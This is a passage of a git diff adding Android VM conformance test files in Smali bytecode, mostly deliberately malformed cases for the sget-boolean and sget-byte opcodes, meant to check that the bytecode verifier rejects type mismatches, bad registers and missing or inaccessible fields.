+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.smali
new file mode 100644
index 0000000..85d9da3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_17.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_17;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.smali
new file mode 100644
index 0000000..cb76be7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_18.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_18;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.smali
new file mode 100644
index 0000000..1bd8830
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_19.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.smali
new file mode 100644
index 0000000..a9c9d3b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_20.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.smali
new file mode 100644
index 0000000..0ccf40b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_3.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v3, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_3;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.smali
new file mode 100644
index 0000000..47494bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_4.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_4;->i1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.smali
new file mode 100644
index 0000000..7843f12
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_5.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_5;
+.super  Ljava/lang/Object;
+
+.field public i1:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 1
+       iput-boolean v2, v3, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_5;->i1:Z
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_5;->i1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.smali
new file mode 100644
index 0000000..6e2b344
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_6.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/TestStubs;->TestStubField:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.smali
new file mode 100644
index 0000000..0c728bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_7.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_7no_class;->i1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.smali
new file mode 100644
index 0000000..db82b1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_8.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_8;->i1N:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.smali
new file mode 100644
index 0000000..96373d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.smali

@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_1.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+.field protected static p1:B
+.field private static pvt1:B
+
+.method static constructor <clinit>()V
+.registers 1
+       const v0, 77
+       sput-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->i1:B
+
+       const v0, 77
+       sput-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->p1:B
+
+       const v0, 77
+       sput-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->pvt1:B
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->i1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.smali
new file mode 100644
index 0000000..e955f5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_11.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_11;
+.super  Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->p1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.smali
new file mode 100644
index 0000000..bd11f40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_12.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_12;
+.super  Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->pvt1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.smali
new file mode 100644
index 0000000..1b4dd31
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_13.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_13;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.smali
new file mode 100644
index 0000000..6db0a4e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_15.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.smali
new file mode 100644
index 0000000..b1a0287
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_16.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.smali
new file mode 100644
index 0000000..5e796f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_17.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_17;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.smali
new file mode 100644
index 0000000..1dcb79e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_18.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_18;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.smali
new file mode 100644
index 0000000..0843559
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_19.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.smali
new file mode 100644
index 0000000..d970551
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_20.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.smali
new file mode 100644
index 0000000..ff770d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_3.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v3, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_3;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.smali
new file mode 100644
index 0000000..37a24cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_4.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_4;->i1:B
+       return v1
+.end method
+
+

